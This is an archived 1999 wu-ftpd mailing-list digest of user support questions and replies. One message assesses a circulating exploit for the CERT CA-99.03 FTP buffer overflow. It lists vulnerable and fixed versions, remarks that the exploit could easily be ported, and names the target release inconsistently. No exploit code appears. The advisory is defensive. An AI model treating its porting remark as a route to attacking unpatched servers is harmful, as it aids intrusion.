Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA13569;
Tue, 23 Mar 1999 09:13:30 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA26424
for <[email protected]>; Tue, 23 Mar 1999 09:12:58 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA07765;
Tue, 23 Mar 1999 10:12:52 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:12:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Ray Texter <[email protected]>
Cc: "Wu-Ftpd (E-mail)" <[email protected]>
Subject: Re: Site GPASS
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Ray Texter wrote:

> When I ftp in I can't execute the the commands Site Group or Site
> Gpass. I get an error: ?Invalid command

Your FTP *CLIENT* does not know the SITE command. User QUOTE:

quote site group xxx
quote site gpass yyy

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 09:31:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA23607;
Tue, 23 Mar 1999 09:31:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA18111;
Tue, 23 Mar 1999 09:26:46 -0600 (CST)
Received: from mailbox.office.aol.com (pix2-80.pix.aol.com [152.163.191.80])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA27897
for <[email protected]>; Tue, 23 Mar 1999 09:22:15 -0600 (CST)
Received: from opsnt.sysops (opsnt.sup.aol.com [172.31.40.198]) by mailbox.office.aol.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id KAA18018 for <[email protected]>; Tue, 23 Mar 1999 10:20:25 -0500 (EST)
Received: by opsnt.sup.aol.com with Internet Mail Service (5.5.2448.0)
id <G93PXTXR>; Tue, 23 Mar 1999 10:21:44 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:20:23 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Denise Garner <[email protected]>
To: "'WU mailing list'" <[email protected]>
Subject: running multiple instances of wu...
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is it possible to run multiple instances of wu on a multi-interfaced server?
I need to restrict access by allowing only some users to log in on host Xa
and others to log into host Xb where X is one server and a&b are the two
different instances (with different IP's and hostnames), while not allowing
either group to log into each other's instance... Any ideas?

Denise Garner
-----------------------------
While a transcendent vocabulary is laudable, one must be eternally careful
so that the calculated objective of communication does not become ensconced
in obscurity. In other words, eschew obfuscation.

From [email protected] Tue Mar 23 09:51:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA24086;
Tue, 23 Mar 1999 09:51:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA30708;
Tue, 23 Mar 1999 09:46:30 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA07560
for <[email protected]>; Tue, 23 Mar 1999 09:44:16 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA08016;
Tue, 23 Mar 1999 10:44:05 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:44:05 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Russ Allbery <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: FW: ftp exploit
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 23 Mar 1999, Russ Allbery wrote:

> > any comments?
>
> It's an exploit script for the path overflow bug that's already been
> announced by CERT, been on all the security lists, and has already
> been fixed in the latest version of every wu-ftpd variant that I'm
> aware of as well as being the impetus for the final mainline wu-ftpd
> release?

Correct. This is a full exploit against Redhat 5.2 (the original advisory
was based upon a test, not an exploit).

My comment: This posting proves why you need to keep up with the CERT
mailing list, if not Bugtraq and other lists. As often heppens, the
exploit followed the discovery of the vulnerability by several weeks.
While it sometimes happens that exploits are distributed before the daemon
authors are notified and public security announcement made, this was not
the case here.

My testing shows:

This is an exploit using the buffer overflow described in

CERT Advisory CA-99.03 - FTP-Buffer-Overflows

Available from htp://www.CERT.org/

It is directed solely at Redhat CD 4.2 Linux systems running a clean,
default install. It was not successfull on unclean 5.2 systems, the
pre-5.2 systems I tested on, or when I built the daemon by-hand instead of
using a Redhat (S)RPM. My testing showed, while none of the systems I
have available were exploitable, the exploit WOULD HAVE WORKED but failed
for identifiable reasons.

Given working code for Redhat 4.2, it should be a fairly simply matter to
port to non-Linux or non-5.2 systems.

WHO IS VULNERABLE
-----------------

- Systems running ALL versions of WU-FTPD _prior_ to 2.4.2 (final),
including all 2.4.2-beta versions, ARE VULNERABLE, except as noted
below:

- Systems with proper upload clauses are partially protected. Many
systems do not use proper upload clauses for real/guest users and are
NOT protected from abuse by their local users.

- Systems with proper permissions are partially protected. Most systems
do not use proper permissions for real/guest users since they would
prevent use by Telnet/SSH/Shell .. such systems are NOT protected from
their local users.

WHO IS NOT VULNERABLE
---------------------

- Systems running 2.4.2 (final) are protected against _this_ bug. Such
systems should upgrade to VR16 for maximum security; a number of other
bugs and security problems have been fixed in VR16.

- Systems running 2.4.2-beta-18-VR10 or later are protected. Anyone
running VR10 through VR13 should upgrade to VR14 or later at your
earliest convenience.

- Systems running BeroFTPD 1.2.0 or later are NOT vulnerable. All
BeroFTPD systems should upgrade to the current version (1.3.4) at their
earliest conenience. Anyone running a vulnerable system with NEWVIRT,
will want to immedeately upgrade to BeroFTPD.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 09:57:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA24230;
Tue, 23 Mar 1999 09:57:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA32536;
Tue, 23 Mar 1999 09:52:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA26628
for <[email protected]>; Tue, 23 Mar 1999 09:46:01 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA08031;
Tue, 23 Mar 1999 10:45:51 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:45:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Carles Xavier Munyoz =?iso-8859-1?Q?Bald=F3?= <[email protected]>
Cc: [email protected]
Subject: Re: !Receive error. Blocking call cancelled.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by wugate.wustl.edu id JAA22390
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Carles Xavier Munyoz [iso-8859-1] Bald� wrote:

> "!Receive error. Blocking call cancelled."
>
> This is the error message I obtain some times using the ftp cliente
> WS-FTP and the ftp server wu-ftpd-2.4.2-beta-18-vr13. The error is
> reported by the WS-FTP client.

This is a client problem. Do you have ANY evidence of a problem on the
server? Syslog messages? Other errors seen on the client side earlier in
the session?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 09:58:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA24246;
Tue, 23 Mar 1999 09:58:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA09970;
Tue, 23 Mar 1999 09:53:26 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA09749
for <[email protected]>; Tue, 23 Mar 1999 09:50:18 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA08060;
Tue, 23 Mar 1999 10:50:12 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:50:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Denise Garner <[email protected]>
Cc: "'WU mailing list'" <[email protected]>
Subject: Re: running multiple instances of wu...
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Denise Garner wrote:

> Is it possible to run multiple instances of wu on a multi-interfaced
> server? I need to restrict access by allowing only some users to log
> in on host Xa and others to log into host Xb where X is one server and
> a&b are the two different instances (with different IP's and
> hostnames), while not allowing either group to log into each other's
> instance... Any ideas?

Easiest solution for multihoming: run BeroFTPD 1.3.4

On my mainline servers I run VR16 and restrict guests to specific servers.
This allows me enough of what you're asking for (security-wise) without
having to run multiple daemons or switch to BeroFTP.

I run multiple instances here running VR16 as a standalone daemon, but
only in limited cases. BeroFTPD is much easier to setup and manage in
this type environment, though.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 12:16:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA27281;
Tue, 23 Mar 1999 12:16:21 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA13905;
Tue, 23 Mar 1999 12:10:48 -0600 (CST)
Received: from inetarena.com (inetarena.com [206.129.216.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA18562
for <[email protected]>; Tue, 23 Mar 1999 12:09:26 -0600 (CST)
Received: from inetarena.com (inetarena.com [206.129.216.1])
by inetarena.com (8.8.5/8.8.5) with ESMTP id KAA20039
for <[email protected]>; Tue, 23 Mar 1999 10:08:56 -0800
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 10:08:56 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Jason Mills <[email protected]>
To: "Wu-Ftpd (E-mail)" <[email protected]>
Subject: Re: Site GPASS
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by wugate.wustl.edu id MAA23791
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

would someone please give me the full command to send to the list server
to unsubscribe to this mail list

��
��
Jason Mills - [email protected] -

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If you have to ask how much it is, you can't afford it.
��
�? �� ?�

From [email protected] Tue Mar 23 13:01:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28107;
Tue, 23 Mar 1999 13:01:25 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA13075;
Tue, 23 Mar 1999 12:56:08 -0600 (CST)
Received: from arbi.Informatik.Uni-Oldenburg.DE (arbi.Informatik.Uni-Oldenburg.DE [134.106.1.7])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA23112
for <[email protected]>; Tue, 23 Mar 1999 12:52:38 -0600 (CST)
Received: from troja.Informatik.Uni-Oldenburg.DE ([134.106.21.46])
by arbi.Informatik.Uni-Oldenburg.DE (Smail3.1.29.1)
id <m10PWHI-0005blC>; Tue, 23 Mar 99 19:51 CET
Received: by troja.Informatik.Uni-Oldenburg.DE (Smail3.1.29.1)
id <m10PWHJ-000U00C>; Tue, 23 Mar 99 19:51 MET
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 19:55:34 +0100
Reply-To: [email protected]
Sender: [email protected]
From: "Ralf Quebbemann" <[email protected]>
To: [email protected]
Subject: Problems with WU-FTPd using the -a option (RedHat 5.2)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Aliased: From Ralf Quebbemann <[email protected]>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hallo,

I just joined the list and now I need some help:

I�m using RedHat 5.2 Linux on a 586er Board (AMD K5-166, 32MB Ram). I
recently set up a FTP server and so I installed the recommended rpm
packages (anonftp, ftp, wu-ftp). In the beginning the wu-ftpd worked
fine. But after I added the -a option in the "inetd.conf" file the
ftp-server shuts down with the
following message:
"500 (serverdomain) FTP Server shut down -- Please try again later"

Any other option (-l, -d) causes the same error message.

On another machine (running SUSE 6.0), the WU-FTP is working fine (using
the same ftpaccess file as described above with the -a option).

So, what�s the problem ? Does anybody know a solution ?

Thanks
Ralf
--
~~~~~~~~ Don't sit on the grass, smoke it ~~~~~~~~~~~~~~~~~

Ralf Quebbemann, Pferdemarkt 16, Whg 4/11, 26121 Oldenburg

Email: [email protected]
Email: [email protected]
Web: http://www.informatik.uni-oldenburg.de/~robert
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From [email protected] Tue Mar 23 13:14:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28373;
Tue, 23 Mar 1999 13:14:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA11964;
Tue, 23 Mar 1999 13:09:00 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA07361
for <[email protected]>; Tue, 23 Mar 1999 13:06:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA09951;
Tue, 23 Mar 1999 14:06:02 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 14:06:02 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Ralf Quebbemann <[email protected]>
Cc: [email protected]
Subject: Re: Problems with WU-FTPd using the -a option (RedHat 5.2)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Ralf Quebbemann wrote:

> "500 (serverdomain) FTP Server shut down -- Please try again later"

Very FAQ. Delete the shutdown message file.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 13:20:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28501;
Tue, 23 Mar 1999 13:20:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA18194;
Tue, 23 Mar 1999 13:15:37 -0600 (CST)
Received: from chekov.worldres.com (firewall.worldres.com [207.82.61.1] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA17457
for <[email protected]>; Tue, 23 Mar 1999 13:12:55 -0600 (CST)
Received: (qmail 4520 invoked from network); 23 Mar 1999 19:00:12 -0000
Received: from unknown (HELO worldres.com) (127.0.0.1)
by 127.0.0.1 with SMTP; 23 Mar 1999 19:00:12 -0000
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 11:00:12 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Guiming Ye <[email protected]>
To: "[email protected]" <[email protected]>
Subject: wu-ftpd lastest version
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: ming
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi:
I 'm living in CA, I'm trying download lastest version, I tried many
time to download it from ftp.academ.com. but their ftp server was down
for many days. Anybody know which site I can go? thank you!
--
----------------WorldRes, Inc---------------
Guiming Ye
Unix System Administrator
Tel:650-372-1700(176) Fax:650-372-1701
E-mail:[email protected] or [email protected]
--------------------------------------------

From [email protected] Tue Mar 23 13:28:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28688;
Tue, 23 Mar 1999 13:28:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA14345;
Tue, 23 Mar 1999 13:23:07 -0600 (CST)
Received: from mesg.pallisersd.ab.ca (pallisersd.ab.ca [199.216.197.2] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA07848
for <[email protected]>; Tue, 23 Mar 1999 13:15:22 -0600 (CST)
Received: from pallisersd.ab.ca ([199.216.196.1]) by mesg.pallisersd.ab.ca
(Netscape Messaging Server 3.01) with ESMTP id AAA13077
for <[email protected]>; Tue, 23 Mar 1999 12:02:40 -0700
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 12:16:13 -0700
Reply-To: [email protected]
Sender: [email protected]
From: "Maurice Hollingsworth" <[email protected]>
To: Washington University FTPd <[email protected]>
Subject: wu-ftpd on Solaris 2.5.1 vs 2.6
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------F355F7A191CF581F8D7202BC"
X-Mailer: Mozilla 4.03 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------F355F7A191CF581F8D7202BC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have installed wu-ftpd on our Solaris 2.6 test box. I now need to move
it to a production box using 2.5.1. Can I simply move the object code or
must I recompile it for 2.5.1?

Thank you in advance.

Maurice Hollingsworth

--------------F355F7A191CF581F8D7202BC
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Maurice Hollingsworth, Ph.D.
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Maurice Hollingsworth, Ph.D.
n: Hollingsworth, Ph.D.;Maurice
org: Palliser Regional Schools
email;internet: [email protected]
title: Director of Information Technology
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------F355F7A191CF581F8D7202BC--

From [email protected] Tue Mar 23 13:28:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28700;
Tue, 23 Mar 1999 13:28:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA17215;
Tue, 23 Mar 1999 13:22:11 -0600 (CST)
Received: from arbi.Informatik.Uni-Oldenburg.DE (arbi.Informatik.Uni-Oldenburg.DE [134.106.1.7])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02071
for <[email protected]>; Tue, 23 Mar 1999 13:15:21 -0600 (CST)
Received: from troja.Informatik.Uni-Oldenburg.DE ([134.106.21.46])
by arbi.Informatik.Uni-Oldenburg.DE (Smail3.1.29.1)
id <m10PWdN-0005bUC>; Tue, 23 Mar 99 20:14 CET
Received: by troja.Informatik.Uni-Oldenburg.DE (Smail3.1.29.1)
id <m10PWdN-000U00C>; Tue, 23 Mar 99 20:14 MET
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 20:18:22 +0100
Reply-To: [email protected]
Sender: [email protected]
From: "Ralf Quebbemann" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Problems with WU-FTPd using the -a option (RedHat 5.2)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Aliased: From Ralf Quebbemann <[email protected]>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi Gregory,
it works, thank you very much.

regards
Ralf

Gregory A Lundberg wrote:
>
> On Tue, 23 Mar 1999, Ralf Quebbemann wrote:
>
> > "500 (serverdomain) FTP Server shut down -- Please try again later"
>
> Very FAQ. Delete the shutdown message file.
>
> The location of the latest version of wu-ftpd can be found in the
> directory
>
> ftp://ftp.vr.net/pub/wu-ftpd/
>
> wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
> wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
> wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 13:30:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28730;
Tue, 23 Mar 1999 13:30:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA24039;
Tue, 23 Mar 1999 13:24:25 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA16392
for <[email protected]>; Tue, 23 Mar 1999 13:17:32 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id UAA12003;
Tue, 23 Mar 1999 20:17:30 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id TAA13686;
Tue, 23 Mar 1999 19:16:57 GMT
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 19:16:56 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problems with WU-FTPd using the -a option (RedHat 5.2)
In-Reply-To: <[email protected]> from Ralf Quebbemann at "Mar 23, 1999 07:55:34 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> "500 (serverdomain) FTP Server shut down -- Please try again later"
>
> Any other option (-l, -d) causes the same error message.

rm /etc/shutmsg

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Tue Mar 23 13:35:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28844;
Tue, 23 Mar 1999 13:35:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA19118;
Tue, 23 Mar 1999 13:30:10 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA03740
for <[email protected]>; Tue, 23 Mar 1999 13:26:48 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA10255;
Tue, 23 Mar 1999 14:26:43 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 14:26:42 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Guiming Ye <[email protected]>
Cc: "[email protected]" <[email protected]>
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Guiming Ye wrote:

> time to download it from ftp.academ.com. but their ftp server was down
> for many days. Anybody know which site I can go? thank you!

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

there are three 'current verions' of wu-ftpd.

2.4.2 (final) is the newest release, but the oldest and buggiest; I mean
there's been no changes to is for nearly a year and the only real change
was to fix the bug reported by CERT. other than that, it's old, crufty
and should only be used for historical research.

2.4.2-VR16 is the most-current classic wu-ftpd version. there are a lot
of new featrures and bug fixes.

BeroFTPD 1.3.4 is the most-current NEWVIRT wu-ftpd version. it includes
many of the VR updates (ISTM more are coming as Bernard gets time) as well
as the NEWVIRT hosting changes. Technilogically BeroFTPD is the most
up-to-date; supporting FTP-SEC and mlst-06-draft (to some extent). It
also builds using GNU autoconf instead of the old 'build' command.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 13:38:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA28917;
Tue, 23 Mar 1999 13:38:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA24101;
Tue, 23 Mar 1999 13:32:56 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA07580
for <[email protected]>; Tue, 23 Mar 1999 13:28:14 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA10275;
Tue, 23 Mar 1999 14:28:06 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 14:28:05 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Maurice Hollingsworth <[email protected]>
Cc: Washington University FTPd <[email protected]>
Subject: Re: wu-ftpd on Solaris 2.5.1 vs 2.6
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Maurice Hollingsworth wrote:

> I have installed wu-ftpd on our Solaris 2.6 test box. I now need to
> move it to a production box using 2.5.1. Can I simply move the object
> code or must I recompile it for 2.5.1?

Recompile.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 15:30:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA01156;
Tue, 23 Mar 1999 15:30:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA02236;
Tue, 23 Mar 1999 15:26:09 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA05749
for <[email protected]>; Tue, 23 Mar 1999 15:23:32 -0600 (CST)
